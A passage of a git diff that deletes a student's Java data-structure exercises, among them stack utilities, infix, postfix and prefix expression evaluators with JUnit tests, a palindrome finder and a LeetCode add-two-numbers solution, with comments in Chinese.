-        if (isEmpty()) {
-            throw new EmptyStackException();
-        }
-    }
-    
-    public String toString(){
-    	StringBuilder sb = new StringBuilder();
-    	for(int i=0;i<elementData.size();i++){
-    		sb.append(elementData.get(i));
-    		if(i < elementData.size() - 1)
-    			sb.append(",");
-    	}
-    	return sb.toString();
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java
deleted file mode 100644
index 53175a670f..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java
+++ /dev/null
@@ -1,111 +0,0 @@
-package com.coding.basic.stack;
-
-public class StackUtil {
-	
-	
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 */
-	public static void reverse(Stack s) {
-		Stack tmp = new Stack();
-//		Stack tmp1 = new Stack();
-//		while(!s.isEmpty())
-//			tmp.push(s.pop());
-//		while(!tmp.isEmpty())
-//			tmp1.push(tmp.pop());
-//		while(!tmp1.isEmpty())
-//			s.push(tmp1.pop());
-		/**
-		 * 改正
-		 */
-		int len = s.size();
-		for(int i=0;i<len;i++){
-			Integer top = (Integer)s.pop();
-			while(s.size() > i) {
-				tmp.push(s.pop());
-			}
-			s.push(top);
-			while(tmp.size() > 0){
-				s.push(tmp.pop());
-			}
-		}
-	}
-
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * 
-	 * @param o
-	 */
-	public static void remove(Stack s,Object o) {
-		Stack tmp = new Stack();
-		boolean found = false;
-		while(!s.isEmpty() && !found){
-			Object obj = s.pop();
-			if(obj == o){
-				found = true;
-			}else{
-				tmp.push(obj);
-			}
-		}
-		while(!tmp.isEmpty())
-			s.push(tmp.pop());
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param len
-	 * @return
-	 */
-	public static Object[] getTop(Stack s,int len) {
-		Object[] objs = new Object[len];
-		if(s.isEmpty() || len == 0)
-			return objs;
-		int i = 0;
-		while(i < len && !s.isEmpty()){
-			objs[i++] = s.pop();
-		}
-		for(i=objs.length-1;i>=0;i--)
-			s.push(objs[i]);
-		return objs;
-	}
-	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * 
-	 * ( 40  ) 41 [ 91 ] 93 {123 }125
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(String s){
-		if(s == null || s.length() == 0)
-			return true;
-		Stack stack = new Stack();
-		char[] chars = s.toCharArray();
-		for(int i=0;i<chars.length;i++){
-			char tmp = chars[i];
-			if(tmp == 40 || tmp == 91 || tmp == 123){
-				stack.push(tmp);
-				continue;
-			}else if(tmp == 41){
-				if(tmp-1 == (char)stack.peek()){
-					stack.pop();
-				}else{
-					return false;
-				}
-			}else if(tmp == 93 || tmp == 125){
-				if(tmp-2 == (char)stack.peek()){
-					stack.pop();
-				}else{
-					return false;
-				}
-			}
-		}
-		return stack.size() == 0;
-	}
-	
-	
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java
deleted file mode 100644
index 35ff5f88a6..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/StackWithTwoQueues.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.LinkedList;
-import java.util.Queue;
-
-public class StackWithTwoQueues {
-	
-	Queue<Integer> queue1 = new LinkedList<Integer>();
-	Queue<Integer> queue2 = new LinkedList<Integer>();
-
-    public void push(int data) {       
-    	queue1.add(data);
-    }
-
-    public int pop() {
-    	while(queue1.size() > 1){
-    		queue2.add(queue1.poll());
-    	}
-    	queue1.addAll(queue2);
-        return queue1.poll();
-    }
-    
-    public static void main(String[] args) {
-    	StackWithTwoQueues s = new StackWithTwoQueues();
-    	for (int i = 0; i < 5; i++) {
-			s.push(i);
-		}
-    	System.out.println(s.pop());
-    	System.out.println(s.pop());
-    	System.out.println(s.pop());
-    	System.out.println(s.pop());
-	}
-    
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java
deleted file mode 100644
index 2173d65b5a..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/TwoStackInOneArray.java
+++ /dev/null
@@ -1,108 +0,0 @@
-package com.coding.basic.stack;
-
-/**
- * 用一个数组实现两个栈
- * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
- * @author liuxin
- *
- */
-public class TwoStackInOneArray {
-	Object[] data = new Object[10];
-	int front;
-	int rear;
-	
-	/**
-	 * 向第一个栈中压入元素
-	 * @param o
-	 */
-	public void push1(Object o){
-		checkInBound();
-		data[front++] = o;
-	}
-	
-	/**
-	 * 从第一个栈中弹出元素
-	 * @return
-	 */
-	public Object pop1(){
-		checkOutBound(front);
-		Object o = data[--front];
-		data[front] = null;
-		return o;
-	}
-	
-	/**
-	 * 获取第一个栈的栈顶元素
-	 * @return
-	 */
-	
-	public Object peek1(){
-		checkOutBound(front);
-		return data[front-1];
-	}
-	/*
-	 * 向第二个栈压入元素
-	 */
-	public void push2(Object o){
-		checkInBound();
-		data[data.length-rear-1] = o;
-		rear++;
-	}
-	/**
-	 * 从第二个栈弹出元素
-	 * @return
-	 */
-	public Object pop2(){
-		checkOutBound(rear);
-		int index = data.length-rear;
-		Object o = data[index];
-		data[index] = null;
-		rear--;
-		return o;
-	}
-	/**
-	 * 获取第二个栈的栈顶元素
-	 * @return
-	 */
-	
-	public Object peek2(){
-		checkOutBound(rear);
-		return data[data.length-rear];
-	}
-	
-	private Object[] resize(int len) {
-		int newLen = len * 2;
-		Object[] newData = new Object[newLen];
-		if(front > 0){
-			System.arraycopy(data, 0, newData, 0, front);
-		}
-		if(rear > 0){
-			System.arraycopy(data, len-rear, newData, newLen-rear, rear);
-		}
-		return newData;
-	}
-	
-	private void checkOutBound(int index){
-		if(index <= 0){
-			throw new IndexOutOfBoundsException();
-		}
-	}
-	
-	private void checkInBound() {
-		if((front+rear) >= data.length){
-			data = resize(data.length);
-		}
-	}
-	
-	public static void main(String[] args) {
-		TwoStackInOneArray t = new TwoStackInOneArray();
-		for(int i=0;i<25;i++){
-			t.push1(i);
-			t.push2(i);
-		}
-		System.out.println(t.front+t.rear);
-		for(int i=0;i<t.data.length;i++){
-			System.out.print(t.data[i]+",");
-		}
-	}
-}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
deleted file mode 100644
index eac007bb3e..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,159 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-public class InfixExpr {
-	String expr = null;
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-//		if(expr == null || "".equals(expr)){
-//			return 0;
-//		}
-//		Stack numStack = new Stack();
-//		Stack opStack = new Stack();
-//		String[] ss = expr.split("");
-//		boolean needOper = false;// 需要运算，遇到* / 后置为true
-//		boolean foundOper = true;// 遇到运算符
-//		String ops = "+-*/";
-//		for (int i=0;i<ss.length;i++) {
-//			String s = ss[i];
-//			if(ops.indexOf(s) != -1){
-//				if(needOper){
-//					doMulOrDivOp(numStack, (String)opStack.pop());
-//					needOper = false;
-//				}
-//				opStack.push(s);
-//				foundOper = true;
-//				if("+-".indexOf(s) != -1){
-//					
-//				}else{
-//					needOper = true;
-//				}
-//			}else if(!foundOper){// 未找到运算符前，字符串一直追加
-//				String tmp = "";
-//				Object obj = numStack.pop();
-//				if(obj != null){
-//					tmp = (String)obj;
-//				}
-//				numStack.push(tmp + s);
-//			}else if("1234567890".indexOf(s) != -1){
-//				numStack.push(s);
-//				foundOper = false;
-//			}else{
-//				throw new RuntimeException("InfixExpr not support " + s + " !");
-//			}
-//			if((i == ss.length - 1) && needOper){
-//				doMulOrDivOp(numStack, (String)opStack.pop());
-//			}
-//		}
-//		if(numStack.size() > 1){
-//			doAddOrSubOps(numStack, opStack);
-//		}
-//		return new Float((String)numStack.pop());
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-		
-		
-		Stack<Token> opStack = new Stack<>();
-		Stack<Float> numStack = new Stack<>();
-		
-		for(Token token : tokens){
-			
-			if (token.isOperator()){
-				
-				if(opStack.isEmpty()){
-					
-					opStack.push(token);
-				} else{
-					
-					while(!opStack.isEmpty() 
-							&& !token.hasHigherPriority(opStack.peek())){
-						Token prevOperator = opStack.pop();
-						Float f2 = numStack.pop();
-						Float f1 = numStack.pop();
-						Float result = calculate(prevOperator.toString(), f1,f2);
-						numStack.push(result);						
-						
-					}
-					opStack.push(token);
-				}
-			} 
-			if(token.isNumber()){
-				numStack.push(new Float(token.getIntValue()));
-			}
-		}
-		
-		while(!opStack.isEmpty()){
-			Token token = opStack.pop();
-			Float f2 = numStack.pop();
-			Float f1 = numStack.pop();
-			numStack.push(calculate(token.toString(), f1,f2));
-		}
-		
-		
-		return numStack.pop().floatValue();
-	}
-	
-	/**
-	 * 多个加减
-	 * @param numStack
-	 * @param opStack
-	 */
-	private void doAddOrSubOps(Stack numStack, Stack opStack) {
-		Stack calStack = new Stack();
-		while(numStack.size() > 1){
-			calStack.push(numStack.pop());
-			calStack.push(opStack.pop());
-		}
-		float num1 = new Float((String)numStack.pop());
-		float num2;
-		while(calStack.size() > 0){
-			String op = (String)calStack.pop();
-			num2 = new Float((String)calStack.pop());
-			if("+".equals(op)){
-				num1 += num2;
-			}else{
-				num1 -= num2;
-			}
-		}
-		numStack.push(num1 + "");
-	}
-
-	/**
-	 * 单个乘除
-	 * @param numStack
-	 * @param op
-	 */
-	private void doMulOrDivOp(Stack numStack, String op){
-		float num2 = new Float((String)numStack.pop());
-		float num1 = new Float((String)numStack.pop());
-		String result = null;
-		if("*".equals(op)){
-			result = (num1 * num2) + "";
-		}else{
-			result = (num1 / num2) + "";
-		}
-		numStack.push(result);
-	}
-	
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
deleted file mode 100644
index 1d679bdb32..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-	}
-
-}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
deleted file mode 100644
index a518e43c13..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,44 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-public class InfixToPostfix {
-	
-	public static List<Token> convert(String expr) {
-		// 3*20+12*5-40/2 --> 3 20 * 12 5 * + 40 2 / -
-		// 10-30+50       --> 10 30 - 50 +
-		List<Token> ret = new ArrayList<>();
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(expr);
-		Stack<Token> opStack = new Stack<>();
-		for(Token token : tokens){
-			if(token.isNumber()){
-				ret.add(token);
-			}else{
-				while(!opStack.isEmpty() && opStack.peek().hasHigherPriority(token)){
-					ret.add(opStack.pop());
-				}
-				opStack.push(token);
-			}
-		}
-		while(!opStack.isEmpty()){
-			ret.add(opStack.pop());
-		}
-		return ret;
-	}
-	
-	public static String toString(List<Token> tokens){
-		StringBuilder sb = new StringBuilder();
-		for(Token token : tokens){
-			sb.append(token.value);
-		}
-		return sb.toString();
-	}
-	
-	public static void main(String[] args) {
-		System.out.println(toString(convert("10-30+50")));
-		System.out.println(toString(convert("3*20+12*5-40/2")));
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
deleted file mode 100644
index d4af19f583..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-public class PostfixExpr {
-String expr = null;
-	
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		Stack<Float> numStack = new Stack<>();
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(expr); 
-		for(Token token : tokens) {
-			if(token.isNumber()){
-				numStack.push(new Float(token.getIntValue()));
-			}else{
-				String op = token.value;
-				float num2 = numStack.pop();
-				float num1 = numStack.pop();
-				float result = calculate(op, num1, num2);
-				numStack.push(result);
-			}
-		}
-		return numStack.pop();
-	}
-	
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-	
-	private void reverse(Stack s){
-		Stack tmp = new Stack();
-		int len = s.size();
-		for(int i=0;i<len;i++){
-			Object top = s.pop();
-			while(s.size() > i) {
-				tmp.push(s.pop());
-			}
-			s.push(top);
-			while(tmp.size() > 0){
-				s.push(tmp.pop());
-			}
-		}
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
deleted file mode 100644
index ad2b6dfd69..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.coding.basic.stack.expr;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 6*(3+5+(2+3)*8)
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
deleted file mode 100644
index b5264d1362..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
+++ /dev/null
@@ -1,85 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-public class PrefixExpr {
-	String expr = null;
-	
-	public PrefixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-		Stack<Token> opStack = new Stack<>();
-		Stack<Float> numStack = new Stack<>();
-		int preContinueOp = 0;
-		int preContinueNum = 0;
-		for(Token token : tokens){
-			if(token.isOperator()) {
-				opStack.push(token);
-				if(preContinueNum > 0){
-					preContinueNum = 0;
-					preContinueOp = 1;
-				}else{
-					preContinueOp++;
-				}
-			}else{
-				numStack.push(new Float(token.getIntValue()));
-				preContinueNum++;
-			}
-			if(preContinueNum >= 2 && preContinueOp > 0){
-				float num2 = numStack.pop();
-				float num1 = numStack.pop();
-				float result = calculate(opStack.pop().value, num1, num2);
-				numStack.push(result);
-				preContinueNum--;
-				preContinueOp--;
-			}
-		}
-		if(!opStack.isEmpty()){
-			reverse(numStack);
-		}
-		while(!opStack.isEmpty()) {
-			String op = opStack.pop().value;
-			float num1 = numStack.pop();
-			float num2 = numStack.pop();
-			float result = calculate(op, num1, num2);
-			numStack.push(result);
-		}
-		return numStack.pop();
-	}
-
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-	
-	private void reverse(Stack s){
-		Stack tmp = new Stack();
-		int len = s.size();
-		for(int i=0;i<len;i++){
-			Object top = s.pop();
-			while(s.size() > i) {
-				tmp.push(s.pop());
-			}
-			s.push(top);
-			while(tmp.size() > 0){
-				s.push(tmp.pop());
-			}
-		}
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
deleted file mode 100644
index 5cec210e75..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/Token.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/Token.java
deleted file mode 100644
index 8579743fe9..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/Token.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class Token {
-	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-	private static final Map<String,Integer> priorities = new HashMap<>();
-	static {
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-	}
-	static final int OPERATOR = 1;
-	static final int NUMBER = 2;
-	String value;
-	int type;
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}		
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-
-	public int getIntValue() {
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	
-	public boolean hasHigherPriority(Token t){
-		if(!this.isOperator() && !t.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(t.value) > 0;
-	}
-	
-	
-
-}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParser.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
deleted file mode 100644
index bf62a9df26..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-	
-	
-	public  List<Token> parse(String expr) {
-		List<Token> tokens = new ArrayList<>();
-
-		int i = 0;
-
-		while (i < expr.length()) {
-
-			char c = expr.charAt(i);
-			if(isBlank(c)){
-				i++;
-				continue;
-			}
-			else if (isOperator(c)) {
-
-				Token t = new Token(Token.OPERATOR, String.valueOf(c));
-				tokens.add(t);
-				i++;
-
-			} else if (Character.isDigit(c)) {
-
-				int nextOperatorIndex = indexOfNextOperator(i, expr);
-				String value = expr.substring(i, nextOperatorIndex);
-				Token t = new Token(Token.NUMBER, value);
-				tokens.add(t);
-				i = nextOperatorIndex;
-
-			} else{
-				System.out.println("char :["+c+"] is not number or operator,ignore");
-				i++;
-			}
-
-		}
-		return tokens;
-	}
-
-	private  int indexOfNextOperator(int i, String expr) {
-
-		while (Character.isDigit(expr.charAt(i))) {
-			i++;
-			if (i == expr.length()) {
-				break;
-			}
-		}
-		return i;
-
-	}
-
-	private  boolean isOperator(char c) {
-		String sc = String.valueOf(c);
-		return Token.OPERATORS.contains(sc);
-	}
-	
-	private boolean isBlank(char c){
-		return c == 32;
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
deleted file mode 100644
index 399d3e857e..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import static org.junit.Assert.*;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class TokenParserTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
-		
-		Assert.assertEquals(300, tokens.get(0).getIntValue());
-		Assert.assertEquals("*", tokens.get(1).toString());
-		Assert.assertEquals(20, tokens.get(2).getIntValue());
-		Assert.assertEquals("+", tokens.get(3).toString());
-		Assert.assertEquals(12, tokens.get(4).getIntValue());
-		Assert.assertEquals("*", tokens.get(5).toString());
-		Assert.assertEquals(5, tokens.get(6).getIntValue());
-		Assert.assertEquals("-", tokens.get(7).toString());
-		Assert.assertEquals(20, tokens.get(8).getIntValue());
-		Assert.assertEquals("/", tokens.get(9).toString());
-		Assert.assertEquals(4, tokens.get(10).getIntValue());
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java b/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
deleted file mode 100644
index 2de0c4370d..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
+++ /dev/null
@@ -1,82 +0,0 @@
-package com.coding.me;
-
-/**
- * 回文
- *
- */
-public class Palindrome {
-	
-	private static String oddCase(char[] chars, int index) {
-		int maxLength = 1;
-		int i = 1;
-		while((index - i) >= 0 && (index + i) < chars.length - 1){
-			if(chars[index - i] != chars[index + i]){
-				break;
-			}
-			maxLength += 2;
-			i++;
-		}
-		return String.valueOf(chars, index + 1 - i, maxLength);
-	}
-	
-	private static String evenCase(char[] chars, int index) {
-		int maxLength = 0;
-		int i = 0;
-		while((index - i) >= 0 && (index + 1 + i) <= chars.length - 1){
-			if(chars[index - i] != chars[index + 1 + i]){
-				break;
-			}
-			i++;
-			maxLength += 2;
-		}
-		return String.valueOf(chars, index + 1 - i, maxLength);
-	}
-	
-	public static String findLongestPalindrome(String s){
-		char[] chars = s.toCharArray();
-		String longestPalindrome = "";
-		String tmp = "";
-		for(int i=0;i<chars.length;i++){
-			tmp = oddCase(chars, i);
-			if(longestPalindrome.length() < tmp.length()){
-				longestPalindrome = tmp;
-			}
-			tmp = evenCase(chars, i);
-			if(longestPalindrome.length() < tmp.length()){
-				longestPalindrome = tmp;
-			}
-		}
-		return longestPalindrome;
-	}
-	
-	public static void main(String[] args) {
-		System.out.println(findLongestPalindrome("abcbacda"));
-		int[] nums = {3, 123, 78, 90};
-		System.out.println(largestNumber(nums));
-	}
-	
-	public static String largestNumber(int[] nums) {
-
-        String[] array = new String[nums.length];
-        for (int i = 0; i < nums.length; i++) {
-            array[i] = String.valueOf(nums[i]);
-        }
-
-        String temp;
-        for (int i = 0; i < array.length; i++) {
-            for (int j = i + 1; j < array.length; j++) {
-                if ((array[i] + array[j]).compareTo(array[j] + array[i]) < 0) {
-                    temp = array[i];
-                    array[i] = array[j];
-                    array[j] =temp;
-                }
-            }
-        }
-        
-        if (array[0].equals("0")) {
-            return "0";
-        } else {
-            return String.join("", array);
-        }
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/book/algorithms/BasicBinarySearch.java b/group23/1028361767/data-structure/src/com/coding/me/book/algorithms/BasicBinarySearch.java
deleted file mode 100644
index ad58cb7730..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/me/book/algorithms/BasicBinarySearch.java
+++ /dev/null
@@ -1,12 +0,0 @@
-package com.coding.me.book.algorithms;
-
-public class BasicBinarySearch {
-	
-	public int findIndex(int[] nums, int target){
-		if(nums.length == 0) return -1;
-		
-		int mid = nums.length / 2;
-		return 0;
-	}
-	
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/AddTwoNums.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/AddTwoNums.java
deleted file mode 100644
index 0ac6d7419f..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/AddTwoNums.java
+++ /dev/null
@@ -1,84 +0,0 @@
-package com.coding.me.leetcode.algorithms;
-
-public class AddTwoNums {
-	
-	public ListNode mySolution(ListNode l1, ListNode l2) {
-        int carry = 0;
-        ListNode ret = null;
-        ListNode first = null;
-        while(l1 != null || l2 != null){
-        	int i = l1 == null?0 : l1.val;
-        	int j = l2 == null?0 : l2.val;
-        	int sum = i + j + carry;
-        	if(sum >= 10){
-        		carry = 1;
-        		sum -= 10;
-        	}else{
-        		carry = 0;
-        	}
-        	if(ret == null){
-        		ret = new ListNode(sum);
-        		first = ret;
-        	}else{
-        		ret.next = new ListNode(sum);
-        		ret = ret.next;
-        	}
-        	if(l1 != null){
-        		l1 = l1.next;
-        	}
-        	if(l2 != null){
-        		l2 = l2.next;
-        	}
-        }
-        if(carry > 0){
-        	ret.next = new ListNode(carry);
-        }
-		return first;
-    }
-	
-	public ListNode leetcodeSolution(ListNode l1, ListNode l2) {
-	    ListNode dummyHead = new ListNode(0);
-	    ListNode p = l1, q = l2, curr = dummyHead;
-	    int carry = 0;
-	    while (p != null || q != null) {
-	        int x = (p != null) ? p.val : 0;
-	        int y = (q != null) ? q.val : 0;
-	        int sum = carry + x + y;
-	        carry = sum / 10;
-	        curr.next = new ListNode(sum % 10);
-	        curr = curr.next;
-	        if (p != null) p = p.next;
-	        if (q != null) q = q.next;
-	    }
-	    if (carry > 0) {
-	        curr.next = new ListNode(carry);
-	    }
-	    return dummyHead.next;
-	}
-	
-	public static void main(String[] args) {
-		ListNode l11 = new ListNode(2);
-		ListNode l12 = new ListNode(4);
-		ListNode l13 = new ListNode(3);
-		l11.next = l12;
-		l12.next = l13;
-		
